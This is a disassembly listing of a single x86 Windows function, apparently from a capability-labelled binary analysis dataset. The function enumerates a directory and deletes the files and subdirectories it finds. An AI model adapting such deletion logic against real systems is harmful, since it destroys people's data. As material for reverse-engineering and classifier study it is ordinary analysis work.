Function at 0x4183f0
Capabilities:
Delete directory
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x462b64
mov eax, dword fs:[0]
push eax
sub esp, 0x3dc
mov eax, dword [0x47e0b0]
xor eax, ebp
mov dword [ebp - 0x18], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov byte [ebp - 0x234], 0
push 0x103
push 0
lea eax, [ebp - 0x233]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x240], 0
mov byte [ebp - 0x124], 0
push 0x103
push 0
lea ecx, [ebp - 0x123]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x244], 0
jmp 0x41848b
mov edx, dword [ebp - 0x244]
add edx, 1
mov dword [ebp - 0x244], edx
cmp dword [ebp - 0x244], 0x19
jge 0x4184d2
call dword [sym.imp.MSVCR90.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x244]
mov byte [ebp + eax - 0x234], dl
call dword [sym.imp.MSVCR90.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x244]
mov byte [ebp + eax - 0x124], dl
jmp 0x41847c
cmp dword [ebp - 0x240], 0
je 0x418502
lea ecx, [ebp - 0x124]
test ecx, ecx
je 0x418502
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x418502
mov dword [ebp - 0x3e8], 2
jmp 0x41850c
mov dword [ebp - 0x3e8], 1
mov eax, dword [ebp - 0x3e8]
mov dword [ebp - 0x10], eax
mov byte [ebp - 0x235], 1
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x248], 0
jmp 0x418550
mov edx, dword [ebp - 0x248]
add edx, 1
mov dword [ebp - 0x248], edx
movzx eax, byte [ebp - 0x125]
test eax, eax
jne 0x418774
mov ecx, dword [ebp - 0x248]
cmp ecx, dword [ebp - 0x10]
jge 0x418774
lea edx, [ebp - 0x234]
push edx
lea ecx, [ebp - 0x264]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x124]
push eax
lea ecx, [ebp - 0x3c8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c8]
call dword [sym.imp.MSVCP90.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::size_void_const]
test eax, eax
je 0x4185b8
cmp dword [ebp - 0x248], 1
jne 0x4185c9
push 0x46d4a4
lea ecx, [ebp - 0x3c8]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
lea ecx, [ebp - 0x3c8]
push ecx
lea ecx, [ebp - 0x264]
call dword [0x46a19c]
mov dword [ebp - 0x268], 0
lea edx, [ebp - 0x3ac]
push edx
lea ecx, [ebp - 0x264]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0xffffffff
je 0x41874c
movsx eax, byte [ebp - 0x380]
cmp eax, 0x2e
je 0x4186f4
lea ecx, [ebp - 0x234]
push ecx
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov byte [ebp - 4], 2
push 0x46d4a8
lea ecx, [ebp - 0x3e4]
call dword [0x46a194]
lea edx, [ebp - 0x380]
push edx
lea ecx, [ebp - 0x3e4]
call dword [0x46a194]
mov eax, dword [ebp - 0x3ac]
and eax, 0x10
je 0x4186c1
cmp dword [ebp - 0x240], 0
je 0x4186bf
cmp dword [ebp - 0x248], 1
je 0x418681
cmp dword [ebp - 0x10], 1
jne 0x4186bf
lea ecx, [ebp - 0x124]
test ecx, ecx
je 0x41869c
lea edx, [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x4186bf
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
sub eax, 1
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x235], al
jmp 0x4186e4
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub eax, 1
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x235], al
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3e4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x125], al
movzx ecx, byte [ebp - 0x125]
test ecx, ecx
jne 0x41873f
movzx edx, byte [ebp - 0x235]
test edx, edx
je 0x41873f
lea eax, [ebp - 0x3ac]
push eax
mov ecx, dword [ebp - 0x268]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x418613
mov edx, dword [ebp - 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x3c8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x264]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
jmp 0x418541
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.00462030
mov esp, ebp
pop ebp
ret